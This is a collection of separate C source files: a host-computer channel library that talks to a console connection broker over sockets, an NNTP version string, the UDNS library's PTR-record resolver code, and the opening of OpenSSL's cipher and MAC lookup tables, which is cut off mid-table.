/* * Copyright (C) 2015 University of Oregon * * You may distribute under the terms of either the GNU General Public * License or the Apache License, as specified in the LICENSE file. * * For more information, see the LICENSE file. */ /* modification history -------------------- 08/16/94 improved error reporting, added description of interface and what each interface can return 08/24/94 improved interface to the free library call 08/25/94 converted to the ANSI C standard with respect to procedure declarations 08/26/94 mangen now generates a sensible .nr file 09/01/94 connectChannel may be called more than once 09/26/94 First round on asynchronous channels 09/27/94 reworked for mangen program - no change in function 04/20/95 fixed problem when closing and then reopening an asynchronous channel */ /* DESCRIPTION Host Computer Channel Programs The underlying paradigm of the channel programs is the Host Computer is the client and the Console is the server. The host computer calls connect; the console programs call listen and accept. Recall the connect call always returns immediately while the accept call normally blocks the calling program until a remote partner calls connect. When the host is ready to complete a channel connection, it contacts the Connection Broker on the console. The Broker maintains a list of which channels in the console are ready to accept a remote connection. We expect the console programs to start first, activating their side of the channels first. Then the host computer programs start, complete the connection and each channel is ready for use. Suppose however the host computer starts first. Two things can happen. If the Connection Broker is not ready, then the initial attempt to contact it will fail. See contact_remote_cb. Not much can be done here; the host has to try again. The other possibility is the connection broker is ready, but the channel itself is not. In this situation the connectChannel call fails with `errno' set to ESRCH. The application then knows to either quit or (more likely) wait a set amount of time and try again. INTERNAL Initially I adopted the following strategy: The host computer then sends a message saying, in effect, ready when you are. Then for this channel the paradigm reverses. The host becomes the server and the console becomes the client. When the console side of the channel is ready, it sends a message to this effect to the host computer. The host then knows it can complete the connection. Unfortunately this takes a lot of program to implement. Furthermore those in the project who write applications using the channel programs seem of the opinion that it is not required. An alternate is sufficent, as follows: If the console is not ready, the connectChannel call fails with `errno' set to ESRCH. The application then knows to either quit or (more likely) wait a set amount of time and try again. I wrote some programs to implement the first strategy. At this time they are not being used. Each is being kept in the event we decide to proceed with this strategy, but it not being compiled thru the use of a compiler switch. Compile-time switches: Set NOASYNC to exclude asynchronous channel programs. You get these programs by default, but they require the asynchronous event system, eventHandler.c, eventQueue.c and listObj.c, to link successfully. Set DEBUG_ASYNC to get useful information about asynchronous channels. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <sys/time.h> #include <signal.h> #include <sys/socket.h> #include <netinet/in.h> /* local include files */ /* Since this source file is the implementation, include the private include file, with its description of the hidden channel object. */ #include "errLogLib.h" #include "chanLibP.h" #define ERROR_CHANNEL -1 /* Stolen from the Krikkit Connection Broker !! */ /* These defines must be identical to the ones in the Connection Broker. */ #define WANT_TO_SEND 1 #define PARSE_ERROR 2 #define CHANNEL_ERROR 3 #define MESSAGE_ERROR 4 #define READY_TO_RECEIVE 5 #define NOT_READY 6 #define NOT_SETUP 7 #define REMOTE_SYSTEM_DOWN 8 #define PROGRAMMING_ERROR 9 #define CLIENT_READY 10 #define CHANNEL_IN_USE 11 /* Stolen from the Krikkit Connection Broker !! */ /* This structure should be identical to the one in the Connection Broker. */ typedef struct _connBrokerMessage { int channel; int message; int console_read_address; int host_read_address; } connBrokerMessage; static Channel chanTable[ NUM_CHANS ]; #if 0 /* It upsets the compiler when this static function is never called. */ static void sigpipe_prog() { /* Eventually this program needs to get the read mask for SIGPIPE, call select with no waiting, look for active socket(s) in the returned masks and (perhaps) set errno to Connection Reset by Peer. */ } #endif static char *remote_host = NULL; static void get_remote_host() { char *tmpaddr; tmpaddr = (char *) getenv( "NESSIE_CONSOLE" ); if (tmpaddr == NULL) { errLogRet(ErrLogOp,debugInfo, "Error: NESSIE_CONSOLE environment parameter not defined\n" ); errLogRet(ErrLogOp,debugInfo, "Cannot continue\n" ); errLogRet(ErrLogOp,debugInfo, "Define this parameter and restart the program\n" ); exit( 1 ); } else remote_host = tmpaddr; } /* Stolen from the Krikkit Connection Broker !! */ /* This program should be identical to the one in the Connection Broker. */ static int parseRequest( char *textRequest, connBrokerMessage *pcbr ) { int value; pcbr->channel = -1; pcbr->message = -1; pcbr->console_read_address = -1; pcbr->host_read_address = -1; if (textRequest == NULL) return( -1 ); if ((int)strlen(textRequest) < 1) return( -1 ); /* First character must be a digit... */ if ( *textRequest < '0' || '9' < *textRequest ) { return( -1 ); } /* Channel number must be in the range */ value = atoi( textRequest ); if (value < 0 || value >= NUM_CHANS) { return( -1 ); } pcbr->channel = value; /* Scan past the first number in the text. */ while ( '0' <= *textRequest && *textRequest <= '9') textRequest++; if (*textRequest != ',') { return( -1 ); } textRequest++; /* scan past the comma */ /* Second field must start with a digit... */ if ( *textRequest < '0' || '9' < *textRequest ) { return( -1 ); } value = atoi( textRequest ); pcbr->message = value; /* Scan past the second number in the text. */ while ( '0' <= *textRequest && *textRequest <= '9') textRequest++; /* May be only two fields in the message... */ if ((int)strlen( textRequest ) < 1) { return( 0 ); } /* ... but field separator must be a comma... */ if (*textRequest != ',') { return( -1 ); } textRequest++; /* ... and third field must start with a digit. */ if ( *textRequest < '0' || '9' < *textRequest ) { return( -1 ); } value = atoi( textRequest ); pcbr->console_read_address = value; /* Scan past the third number in the text. */ while ( '0' <= *textRequest && *textRequest <= '9') textRequest++; /* May be only three fields in the message... */ if ((int)strlen( textRequest ) < 1) { return( 0 ); } /* ... but field separator must be a comma... */ if (*textRequest != ',') { return( -1 ); } textRequest++; /* ... and fourth field must start with a digit. */ if ( *textRequest < '0' || '9' < *textRequest ) { return( -1 ); } value = atoi( textRequest ); pcbr->host_read_address = value; return( 0 ); } /* puts -1 in pCbReply->message if error in local programming. */ /* open and close the Connection Broker Socket (pccb) right here */ static void contact_remote_cb( Socket *pccb, connBrokerMessage *pCbRequest, connBrokerMessage *pCbReply ) { char msg_for_cb[ 30 ], cb_text_reply[ 120 ]; int ival; if (remote_host == NULL) get_remote_host(); ival = openSocket( pccb ); if (ival != 0) { /*fprintf( stderr, "cannot open the connection broker socket\n" );*/ pCbReply->message = CHANNEL_ERROR; return; } ival = connectSocket( pccb, remote_host, CB_PORT ); if (ival != 0) { closeSocket( pccb ); pCbReply->message = REMOTE_SYSTEM_DOWN; return; } sprintf( &msg_for_cb[ 0 ], "%d,%d", pCbRequest->channel, pCbRequest->message ); ival = write( pccb->sd, &msg_for_cb[ 0 ], (strlen( &msg_for_cb[ 0 ] )+1) ); if (ival < 1) { closeSocket( pccb ); pCbReply->message = -1; /* is this a local programming error? */ return; } ival = read( pccb->sd, &cb_text_reply[ 0 ], sizeof( cb_text_reply ) - 1 ); closeSocket( pccb ); ival= parseRequest( &cb_text_reply[ 0 ], pCbReply ); #ifdef DEBUG_ASYNC errLogRet(ErrLogOp,debugInfo, "Connection broker: channel: %d, message: %d\n", pCbReply->channel, pCbReply->message ); errLogRet(ErrLogOp,debugInfo, "console read address: %d, host read address: %d\n", pCbReply->console_read_address, pCbReply->host_read_address ); #endif if (pCbReply->channel != pCbRequest->channel) { pCbReply->message = PROGRAMMING_ERROR; return; } return; } /* Returns -1 if error in local programming. */ static int initial_remote_contact( int channel, int *p_read_addr, int *p_write_addr ) { Channel *pThisChan; connBrokerMessage cbRequest, cbReply; pThisChan = &chanTable[ channel ]; cbRequest.channel = channel; cbRequest.message = WANT_TO_SEND; contact_remote_cb( pThisChan->pClientCB, &cbRequest, &cbReply ); if (cbReply.message == READY_TO_RECEIVE) { *p_read_addr = cbReply.host_read_address; *p_write_addr = cbReply.console_read_address; } return( cbReply.message ); } /* The next program helped implement the when you are ready paradigm. */ #if 0 static int client_is_ready( channel, port, p_read_addr, p_write_addr ) int channel; int port; int *p_read_addr; int *p_write_addr; { connBrokerMessage cbRequest, cbReply; cbRequest.channel = channel; cbRequest.message = CLIENT_READY; cbRequest.host_read_address = port; contact_remote_cb( &cbRequest, &cbReply ); if (cbReply.message == READY_TO_RECEIVE) { *p_read_addr = cbReply.host_read_address; *p_write_addr = cbReply.console_read_address; } return( cbReply.message ); } #endif /* End of connection broker stuff. */ #if 0 static Socket * openServerSocket( type ) int type; { int ival; Socket *tSocket; tSocket = createSocket( type ); if (tSocket == NULL) { errLogRet(ErrLogOp,debugInfo, "Cannot create local socket\n" ); return( NULL ); } ival = bindSocketSearch( tSocket, CB_PORT ); if (ival != 0) { closeSocket( tSocket ); free( tSocket ); return( NULL ); } listenSocket( tSocket ); return( tSocket ); } #endif #if 0 /* This program is obsolete. It combines the function of createSocket and connectSocket. The connectSocket function cannot be done until connectChannel is called. We want to make connectChannel interrupt-safe, which means connectChannel is not allowed to call createSocket, since the latter calls malloc. For this reason openClientSocket is no longer used. */ static Socket * openClientSocket( type, remote_addr ) int type; int remote_addr; { int ival; Socket *tSocket; if (remote_host == NULL) get_remote_host(); tSocket = createSocket( type ); if (tSocket == NULL) { errLogRet(ErrLogOp,debugInfo, "Cannot create local socket\n" ); return( NULL ); } ival = connectSocket( tSocket, remote_host, remote_addr ); if (ival != 0) { errLogRet(ErrLogOp,debugInfo, "Cannot connect to remote socket\n" ); perror( "Connect socket" ); closeSocket( tSocket ); free( tSocket ); return( NULL ); } else { tSocket->port = remote_addr; } return( tSocket ); } #endif /* The next program helped implement the when you are ready paradigm. */ #if 0 static int respond_to_not_ready( channel, p_addr ) int channel; int *p_addr; { int cb_message, local_addr; Socket *tSocket; Channel *pThisChan; pThisChan = &chanTable[ channel ]; /* No checks... this is a static function and it's assumed the calling program knows what it is doing... */ tSocket = openServerSocket( SOCK_STREAM ); if (tSocket == NULL) { errLogRet(ErrLogOp,debugInfo, "Cannot create local socket\n" ); pThisChan->socketInUse = 0; return( -1 ); } local_addr = returnSocketPort( tSocket ); cb_message = client_is_ready( channel, local_addr, p_addr ); errLogRet(ErrLogOp,debugInfo, "client is ready returned %d\n", cb_message ); switch (cb_message) { case READY_TO_RECEIVE: tSocket = openClientSocket( SOCK_STREAM, *p_read_addr ); if (tSocket == NULL) { errLogRet(ErrLogOp,debugInfo, "Cannot create local socket\n" ); pThisChan->socketInUse = 0; return( -1 ); } else { pThisChan->state = CONNECTED; pThisChan->pClientReadS = tSocket; } break; default: errLogRet(ErrLogOp,debugInfo, "client is ready returned %d\n", cb_message ); return( -1 ); } return( 0 ); } #endif /************************************************************** * * openChannel - setup local data for a Channel Object on the host computer. * * returns: channel number if successful * -1 if not successful, with `errno' set * EINVAL channel number out-of-range * EBUSY channel already in use * other values may be set by the socket library * * For connectChannel to complete successfully, a process (or * task) on the console must have opened the same channel. It * does not have to call listenChannel for connectChannel to * complete successfully. */ int openChannel( int channel, int access, int options ) /* int channel - select channel to use */ /* int access - would be read, read/write; not used */ /* int options - not used currently */ { Channel *pThisChan; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } pThisChan = &chanTable[ channel ]; if (pThisChan->socketInUse) { errno = EBUSY; return( -1 ); } /* We expect createSocket to set errno if it fails... */ if ( (pThisChan->pClientCB = createSocket( SOCK_STREAM )) == NULL) { return( -1 ); } if ( (pThisChan->pClientReadS = createSocket( SOCK_STREAM )) == NULL) { return( -1 ); } else if (openSocket( pThisChan->pClientReadS ) != 0) { return( -1 ); } if ( (pThisChan->pClientWriteS = createSocket( SOCK_STREAM )) == NULL) { return( -1 ); } else if (openSocket( pThisChan->pClientWriteS ) != 0) { return( -1 ); } pThisChan->socketInUse = 131071; pThisChan->state = INITIAL; return( channel ); } /************************************************************** * * connectChannel - make connection with corresponding process on the console * * returns: 0 if successful * -1 if not successful, with `errno' set * EINVAL channel number out-of-range * ESRCH no console process prsent for * this channel * ENXIO most likely this results from no * connection broker present on the * console. * EBUSY console channel is already * connected to another process * other values may be set by the socket library * * connectChannel must be called and complete successfully * before calling readChannel or writeChannel * * if connectChannel fails with errno set to ENXIO or ESRCH, * you may call it again until the connection is successful. */ int connectChannel( int channel ) /* int channel - channel to connect */ { int cb_message, ival, remote_read_addr, remote_write_addr; Channel *pThisChan; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } pThisChan = &chanTable[ channel ]; cb_message = initial_remote_contact( channel, &remote_read_addr, &remote_write_addr ); switch (cb_message) { case READY_TO_RECEIVE: ival = connectSocket( pThisChan->pClientReadS, remote_host, remote_read_addr ); if (ival != 0) { perror( "Cannot connect to remote read socket" ); return( -1 ); } ival = connectSocket( pThisChan->pClientWriteS, remote_host, remote_write_addr ); if (ival != 0) { perror( "Cannot connect to remote write socket" ); return( -1 ); } else { pThisChan->state = CONNECTED; } break; case NOT_READY: /*printf( "found remote connection broker but no remote server\n" );*/ errno = ESRCH; return( -1 ); case CHANNEL_IN_USE: errLogRet(ErrLogOp,debugInfo, "channel %d on the console is already connected to another process\n", channel ); errno = EBUSY; return( -1 ); default: errno = ENXIO; return( -1 ); } return( 0 ); } /************************************************************** * * readChannel - read data from the console * * returns: byte count (>0) if successful * 0 if the remote partner has closed its * connection * -1 if not successful, with `errno' set * EINVAL channel number out-of-range * other values may be set by the socket library * */ int readChannel( int channel, char *datap, int bcount ) /* int channel - channel to be used */ /* char *datap - address to receive data */ /* int bcount - amount of expected data in characters */ { Channel *pThisChan; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } pThisChan = &chanTable[ channel ]; return( readSocket( pThisChan->pClientReadS, datap, bcount ) ); } /************************************************************** * * writeChannel - write data to the console * * returns: byte count (>0) if successful * -1 if not successful, with `errno' set * EINVAL channel number out-of-range * other values may be set by the socket library */ int writeChannel( int channel, char *datap, int bcount ) /* int channel */ /* char *datap */ /* int bcount */ { int retval; Channel *pThisChan; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } pThisChan = &chanTable[ channel ]; /* question whether register/unregister is needed... */ /*registerSignalHandler( SIGPIPE, sigpipe_prog, pThisChan->pClientS );*/ retval = writeSocket( pThisChan->pClientWriteS, datap, bcount ); /*unregisterSignalHandler( SIGPIPE, pThisChan->pClientS );*/ return( retval ); } /************************************************************** * * flushChannel - discard any readable data in channel * * returns: byte count (>0) of discard data if successful * 0 if the remote partner has closed its * connection * -1 if not successful, with `errno' set * EINVAL channel number out-of-range * other values may be set by the socket library * */ int flushChannel( int channel) /* int channel - channel to be used */ { Channel *pThisChan; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } pThisChan = &chanTable[ channel ]; return( flushSocket( pThisChan->pClientReadS) ); } #ifndef NOASYNC #include "listObj.h" #include "eventHandler.h" extern int setFdAsync( int fd, void *clientData, void (*callback)() ); extern int setFdNonAsync( int fd ); typedef struct _asyncChanEntry { int channel; void (*callback)(); #ifdef DEBUG_ASYNC int count; #endif } *ASYNC_CHAN_ENTRY; #ifdef DEBUG_ASYNC static LIST_OBJ asyncChanList = NULL; #endif #if 0 /* Given a file descriptor, is it part of a channel? This routine returns the channel number if yes, or -1 if not. SIGIOs can only get directly the identity of the File Descriptor that caused the interrupt. At this time only the client read socket will need to be mapped to its channel. Currently the program relies on a Socket method (isSocketActive) to assist in mapping from file descriptor to channel number. */ static int fd_to_channel( int fd ) { int iter; for (iter = 0; iter < NUM_CHANS; iter++) if (chanTable[ iter ].pClientReadS->sd == fd) return( iter ); return( -1 ); } #endif /************************************************************** * * readChannelNonblocking * * This program functions much like readChannel, except * it will not block your task if no data is pending when * it is called. If some of your data is pending, but not * all, it will block your task until it receives all of * the data you requested. * * returns: count of data bytes received (>0) if successful * 0 if remote partner has closed its side of the * channel * -1 if not successful, with `errno' set * EWOULDBLOCK no data pending for this channel * EINVAL channel number out-of-range * other values may be set by the socket library */ int readChannelNonblocking( int channel, char *datap, int bcount ) /* int channel - channel to be used */ /* char *datap - address to receive data */ /* int bcount - amount of expected data in characters */ { Channel *pThisChan; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } pThisChan = &chanTable[ channel ]; return( readSocketNonblocking( pThisChan->pClientReadS, datap, bcount ) ); } /************************************************************** * * registerChannelAsync * * Use this program when you want a channel to work * asynchronously. You must provide a "callback", * a program which will be called when data arrives * on this channel. You must also call asyncMainLoop * before your callback program can be called. The * callback will receive as its argument the channel * which has received data. The callback program * must read the data. * * returns: 0 if successful * -1 if not successful, with `errno' set * EINVAL channel number out-of-range * or no callback specified * EBADF connectChannel must complete * successfully before this * program can be called * */ int registerChannelAsync( int channel, void (*callback)() ) /* int channel - channel to be used */ /* void (*callback)() - routine to be called when data is ready on the channel */ { int channelFd, ival; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } if (callback == NULL) { errno = EINVAL; return( -1 ); } if (chanTable[ channel ].state != CONNECTED) { errno = EBADF; return( -1 ); } channelFd = chanTable[ channel ].pClientReadS->sd; ival = setFdAsync( channelFd, (void *) channel, callback ); setSocketAsync( chanTable[ channel ].pClientReadS ); return( ival ); } /************************************************************** * * registerChannelNonAsync */ int registerChannelNonAsync( int channel ) /* int channel - channel to be used */ { int channelFd, ival; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } if (chanTable[ channel ].state != CONNECTED) { errno = EBADF; return( -1 ); } if (chanTable[ channel ].pClientReadS == NULL) return( 0 ); channelFd = chanTable[ channel ].pClientReadS->sd; ival = setFdNonAsync( channelFd ); return( ival ); } #ifdef DEBUG_ASYNC void printAsyncChanStats( FILE *filep ) { int iter; ASYNC_CHAN_ENTRY currentEntry; if (filep == NULL) filep = stdout; for (iter = 0; ; iter++) { currentEntry = getItem( asyncChanList, iter ); if (currentEntry == NULL) break; fprintf( filep, "asynchronous channel %d received %d events\n", currentEntry->channel, currentEntry->count ); } } #endif /* DEBUG_ASYNC */ #endif /* not NOASYNC */ /************************************************************** * * closeChannel - close I/O devices, stop use of the channel * * returns: 0 if successful * -1 if not successful, with `errno' set * EINVAL channel number out-of-range * other values may be set by the socket library */ int closeChannel( int channel ) /* int channel - channel to close */ { Channel *pThisChan; if (channel < 0 || channel >= NUM_CHANS) { errno = EINVAL; return( -1 ); } #ifndef NOASYNC registerChannelNonAsync( channel ); #endif pThisChan = &chanTable[ channel ]; closeSocket( pThisChan->pClientReadS ); closeSocket( pThisChan->pClientWriteS ); /* Note: The Client-of-Connection-Broker socket (pClientCB) was closed in contact_remote_cb, where it is passed as the first argument. The socket object is free'd here, since contact_remote_cb is to be interrupt safe (callable from an interrupt) and cannot call free. */ if( pThisChan->pClientReadS != NULL ) free( pThisChan->pClientReadS ); if( pThisChan->pClientWriteS != NULL ) free( pThisChan->pClientWriteS ); if( pThisChan->pClientCB != NULL ) free( pThisChan->pClientCB ); pThisChan->pClientReadS = NULL; pThisChan->pClientWriteS = NULL; pThisChan->pClientCB = NULL; pThisChan->socketInUse = 0; return( 0 ); }
53600.c
/* * Provide the version number of this release. */ char nntp_version[] = "1.5.8 (11 March 90)";
284939.c
/* udns_rr_ptr.c parse/query PTR records Copyright (C) 2005 Michael Tokarev <[email protected]> This file is part of UDNS library, an async DNS stub resolver. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library, in file named COPYING.LGPL; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <stdlib.h> #include <assert.h> #include "udns.h" int dns_parse_ptr(dnscc_t *qdn, dnscc_t *pkt, dnscc_t *cur, dnscc_t *end, void **result) { struct dns_rr_ptr *ret; struct dns_parse p; struct dns_rr rr; int r, l, c; char *sp; dnsc_t ptr[DNS_MAXDN]; assert(dns_get16(cur+2) == DNS_C_IN && dns_get16(cur+0) == DNS_T_PTR); /* first, validate the answer and count size of the result */ l = c = 0; dns_initparse(&p, qdn, pkt, cur, end); while((r = dns_nextrr(&p, &rr)) > 0) { cur = rr.dnsrr_dptr; r = dns_getdn(pkt, &cur, end, ptr, sizeof(ptr)); if (r <= 0 || cur != rr.dnsrr_dend) return DNS_E_PROTOCOL; l += dns_dntop_size(ptr); ++c; } if (r < 0) return DNS_E_PROTOCOL; if (!c) return DNS_E_NODATA; /* next, allocate and set up result */ ret = malloc(sizeof(*ret) + sizeof(char **) * c + l + dns_stdrr_size(&p)); if (!ret) return DNS_E_NOMEM; ret->dnsptr_nrr = c; ret->dnsptr_ptr = (char **)(ret+1); /* and 3rd, fill in result, finally */ sp = (char*)(ret->dnsptr_ptr + c); c = 0; dns_rewind(&p, qdn); while((r = dns_nextrr(&p, &rr)) > 0) { ret->dnsptr_ptr[c] = sp; cur = rr.dnsrr_dptr; dns_getdn(pkt, &cur, end, ptr, sizeof(ptr)); sp += dns_dntop(ptr, sp, DNS_MAXNAME); ++c; } dns_stdrr_finish((struct dns_rr_null *)ret, sp, &p); *result = ret; return 0; } struct dns_query * dns_submit_a4ptr(struct dns_ctx *ctx, const struct in_addr *addr, dns_query_ptr_fn *cbck, void *data) { dnsc_t dn[DNS_A4RSIZE]; dns_a4todn(addr, 0, dn, sizeof(dn)); return dns_submit_dn(ctx, dn, DNS_C_IN, DNS_T_PTR, DNS_NOSRCH, dns_parse_ptr, (dns_query_fn *)cbck, data); } struct dns_rr_ptr * dns_resolve_a4ptr(struct dns_ctx *ctx, const struct in_addr *addr) { return (struct dns_rr_ptr *) dns_resolve(ctx, dns_submit_a4ptr(ctx, addr, NULL, NULL)); } struct dns_query * dns_submit_a6ptr(struct dns_ctx *ctx, const struct in6_addr *addr, dns_query_ptr_fn *cbck, void *data) { dnsc_t dn[DNS_A6RSIZE]; dns_a6todn(addr, 0, dn, sizeof(dn)); return dns_submit_dn(ctx, dn, DNS_C_IN, DNS_T_PTR, DNS_NOSRCH, dns_parse_ptr, (dns_query_fn *)cbck, data); } struct dns_rr_ptr * dns_resolve_a6ptr(struct dns_ctx *ctx, const struct in6_addr *addr) { return (struct dns_rr_ptr *) dns_resolve(ctx, dns_submit_a6ptr(ctx, addr, NULL, NULL)); }
764422.c
/* * Copyright 1995-2020 The OpenSSL Project Authors. All Rights Reserved. * Copyright (c) 2002, Oracle and/or its affiliates. All rights reserved * Copyright 2005 Nokia. All rights reserved. * * Licensed under the Apache License 2.0 (the "License"). You may not use * this file except in compliance with the License. You can obtain a copy * in the file LICENSE in the source distribution or at * https://www.openssl.org/source/license.html */ #include <stdio.h> #include <ctype.h> #include <openssl/objects.h> #include <openssl/comp.h> #include <openssl/engine.h> #include <openssl/crypto.h> #include <openssl/conf.h> #include <openssl/trace.h> #include "internal/nelem.h" #include "ssl_local.h" #include "internal/thread_once.h" #include "internal/cryptlib.h" DEFINE_STACK_OF(SSL_COMP) DEFINE_STACK_OF_CONST(SSL_CIPHER) /* NB: make sure indices in these tables match values above */ typedef struct { uint32_t mask; int nid; } ssl_cipher_table; /* Table of NIDs for each cipher */ static const ssl_cipher_table ssl_cipher_table_cipher[SSL_ENC_NUM_IDX] = { {SSL_DES, NID_des_cbc}, /* SSL_ENC_DES_IDX 0 */ {SSL_3DES, NID_des_ede3_cbc}, /* SSL_ENC_3DES_IDX 1 */ {SSL_RC4, NID_rc4}, /* SSL_ENC_RC4_IDX 2 */ {SSL_RC2, NID_rc2_cbc}, /* SSL_ENC_RC2_IDX 3 */ {SSL_IDEA, NID_idea_cbc}, /* SSL_ENC_IDEA_IDX 4 */ {SSL_eNULL, NID_undef}, /* SSL_ENC_NULL_IDX 5 */ {SSL_AES128, NID_aes_128_cbc}, /* SSL_ENC_AES128_IDX 6 */ {SSL_AES256, NID_aes_256_cbc}, /* SSL_ENC_AES256_IDX 7 */ {SSL_CAMELLIA128, NID_camellia_128_cbc}, /* SSL_ENC_CAMELLIA128_IDX 8 */ {SSL_CAMELLIA256, NID_camellia_256_cbc}, /* SSL_ENC_CAMELLIA256_IDX 9 */ {SSL_eGOST2814789CNT, NID_gost89_cnt}, /* SSL_ENC_GOST89_IDX 10 */ {SSL_SEED, NID_seed_cbc}, /* SSL_ENC_SEED_IDX 11 */ {SSL_AES128GCM, NID_aes_128_gcm}, /* SSL_ENC_AES128GCM_IDX 12 */ {SSL_AES256GCM, NID_aes_256_gcm}, /* SSL_ENC_AES256GCM_IDX 13 */ {SSL_AES128CCM, NID_aes_128_ccm}, /* SSL_ENC_AES128CCM_IDX 14 */ {SSL_AES256CCM, NID_aes_256_ccm}, /* SSL_ENC_AES256CCM_IDX 15 */ {SSL_AES128CCM8, NID_aes_128_ccm}, /* SSL_ENC_AES128CCM8_IDX 16 */ {SSL_AES256CCM8, NID_aes_256_ccm}, /* SSL_ENC_AES256CCM8_IDX 17 */ {SSL_eGOST2814789CNT12, NID_gost89_cnt_12}, /* SSL_ENC_GOST8912_IDX 18 */ {SSL_CHACHA20POLY1305, NID_chacha20_poly1305}, /* SSL_ENC_CHACHA_IDX 19 */ {SSL_ARIA128GCM, NID_aria_128_gcm}, /* SSL_ENC_ARIA128GCM_IDX 20 */ {SSL_ARIA256GCM, NID_aria_256_gcm}, /* SSL_ENC_ARIA256GCM_IDX 21 */ {SSL_MAGMA, NID_magma_ctr_acpkm}, /* SSL_ENC_MAGMA_IDX */ {SSL_KUZNYECHIK, NID_kuznyechik_ctr_acpkm}, /* SSL_ENC_KUZNYECHIK_IDX */ }; #define SSL_COMP_NULL_IDX 0 #define SSL_COMP_ZLIB_IDX 1 #define SSL_COMP_NUM_IDX 2 static STACK_OF(SSL_COMP) *ssl_comp_methods = NULL; #ifndef OPENSSL_NO_COMP static CRYPTO_ONCE ssl_load_builtin_comp_once = CRYPTO_ONCE_STATIC_INIT; #endif /* NB: make sure indices in this table matches values above */ static const ssl_cipher_table ssl_cipher_table_mac[SSL_MD_NUM_IDX] = { {SSL_MD5, NID_md5}, /* SSL_MD_MD5_IDX 0 */ {SSL_SHA1, NID_sha1}, /* SSL_MD_SHA1_IDX 1 */ {SSL_GOST94, NID_id_GostR3411_94}, /* SSL_MD_GOST94_IDX 2 */ {SSL_GOST89MAC, NID_id_Gost28147_89_MAC}, /* SSL_MD_GOST89MAC_IDX 3 */ {SSL_SHA256, NID_sha256}, /* SSL_MD_SHA256_IDX 4 */ {SSL_SHA384, NID_sha384}, /* SSL_MD_SHA384_IDX 5 */ {SSL_GOST12_256, NID_id_GostR3411_2012_256}, /* SSL_MD_GOST12_256_IDX 6 */ {SSL_GOST89MAC12, NID_gost_mac_12}, /* SSL_MD_GOST89MAC12_IDX 7 */ {SSL_GOST12_512, NID_id_GostR3411_2012_512}, /* SSL_MD_GOST12_512_IDX 8 */ {0, NID_md5_sha1}, /* SSL_MD_MD5_SHA1_IDX 9 */ {0, NID_sha224}, /* SSL_MD_SHA224_IDX 10 */ {0, NID_sha512}, /* SSL_MD_SHA512_IDX 11 */ {SSL_MAGMAOMAC, NID_magma_mac}, /* sSL_MD_MAGMAOMAC_IDX */ {SSL_KUZNYECHIKOMAC, NID_kuznyechik_mac} /* SSL_MD_KUZNYECHIKOMAC_IDX */ }; /* *INDENT-OFF* */ static const ssl_cipher_table ssl_cipher_table_kx[] = { {SSL_kRSA, NID_kx_rsa}, {SSL_kECDHE, NID_kx_ecdhe}, {SSL_kDHE, NID_kx_dhe}, {SSL_kECDHEPSK, NID_kx_ecdhe_psk}, {SSL_kDHEPSK, NID_kx_dhe_psk}, {SSL_kRSAPSK, NID_kx_rsa_psk}, {SSL_kPSK, NID_kx_psk}, {SSL_kSRP, NID_kx_srp}, {SSL_kGOST, NID_kx_gost}, {SSL_kGOST18, NID_kx_gost18}, {SSL_kANY, NID_kx_any} }; static const ssl_cipher_table ssl_cipher_table_auth[] = { {SSL_aRSA, NID_auth_rsa}, {SSL_aECDSA, NID_auth_ecdsa}, {SSL_aPSK, NID_auth_psk}, {SSL_aDSS, NID_auth_dss}, {SSL_aGOST01, NID_auth_gost01}, {SSL_aGOST12, NID_auth_gost12}, {SSL_aSRP, NID_auth_srp}, {SSL_aNULL, NID_auth_null}, {SSL_aANY, NID_auth_any} }; /* *INDENT-ON* */ /* Utility function for table lookup */ static int ssl_cipher_info_find(const ssl_cipher_table * table, size_t table_cnt, uint32_t mask) { size_t i; for (i = 0; i < table_cnt; i++, table++) { if (table->mask == mask) return (int)i; } return -1; } #define ssl_cipher_info_lookup(table, x) \ ssl_cipher_info_find(table, OSSL_NELEM(table), x) /* * PKEY_TYPE for GOST89MAC is known in advance, but, because implementation * is engine-provided, we'll fill it only if corresponding EVP_PKEY_METHOD is * found */ static int ssl_mac_pkey_id[SSL_MD_NUM_IDX] = { /* MD5, SHA, GOST94, MAC89 */ EVP_PKEY_HMAC, EVP_PKEY_HMAC, EVP_PKEY_HMAC, NID_undef, /* SHA256, SHA384, GOST2012_256, MAC89-12 */ EVP_PKEY_HMAC, EVP_PKEY_HMAC, EVP_PKEY_HMAC, NID_undef, /* GOST2012_512 */ EVP_PKEY_HMAC, /* MD5/SHA1, SHA224, SHA512, MAGMAOMAC, KUZNYECHIKOMAC */ NID_undef, NID_undef, NID_undef, NID_undef, NID_undef }; #define CIPHER_ADD 1 #define CIPHER_KILL 2 #define CIPHER_DEL 3 #define CIPHER_ORD 4 #define CIPHER_SPECIAL 5 /* * Bump the ciphers to the top of the list. * This rule isn't currently supported by the public cipherstring API. */ #define CIPHER_BUMP 6 typedef struct cipher_order_st { const SSL_CIPHER *cipher; int active; int dead; struct cipher_order_st *next, *prev; } CIPHER_ORDER; static const SSL_CIPHER cipher_aliases[] = { /* "ALL" doesn't include eNULL (must be specifically enabled) */ {0, SSL_TXT_ALL, NULL, 0, 0, 0, ~SSL_eNULL}, /* "COMPLEMENTOFALL" */ {0, SSL_TXT_CMPALL, NULL, 0, 0, 0, SSL_eNULL}, /* * "COMPLEMENTOFDEFAULT" (does *not* include ciphersuites not found in * ALL!) */ {0, SSL_TXT_CMPDEF, NULL, 0, 0, 0, 0, 0, 0, 0, 0, 0, SSL_NOT_DEFAULT}, /* * key exchange aliases 